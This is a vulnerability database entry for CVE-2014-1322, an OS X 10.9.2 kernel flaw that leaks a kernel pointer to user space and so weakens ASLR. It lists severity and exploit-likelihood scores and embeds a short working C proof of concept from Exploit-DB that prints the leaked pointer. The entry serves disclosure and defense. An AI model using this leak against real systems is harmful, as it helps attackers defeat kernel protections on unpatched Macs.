CVE-2014-1322 : Detail

CVE-2014-1322

A01-Broken Access Control
0.05%V3
Local
2014-04-23
08h00 +00:00
2014-04-22
23h57 +00:00
CVE.org
NVD
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CVE Descriptions

The kernel in Apple OS X through 10.9.2 places a kernel pointer into an XNU object data structure accessible from user space, which makes it easier for local users to bypass the ASLR protection mechanism by reading an unspecified attribute of the object.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:C/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 39147

Publication date : 2014-04-21 22h00 +00:00
Author : Ian Beer
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/67023/info Apple Mac OS X is prone to a local security-bypass vulnerability. Attackers can exploit this issue to bypass certain security restrictions and perform unauthorized actions. Apple Mac OS X 10.9.2 is vulnerable; other versions may also be affected. #include <stdio.h> #include <strings.h> #include <sys/shm.h> int main(int argc, char *argv[]) { int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W ); if (shm < 0) { printf("shmget: failed"); return 6; } struct shmid_ds lolz; int res = shmctl( shm, IPC_STAT, &lolz ); if (res < 0) { printf("shmctl: failed"); return 1; } printf( "%p\n", lolz.shm_internal ); }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.9.2

Apple>>Mac_os_x >> Version 10.9

Apple>>Mac_os_x >> Version 10.9.1

References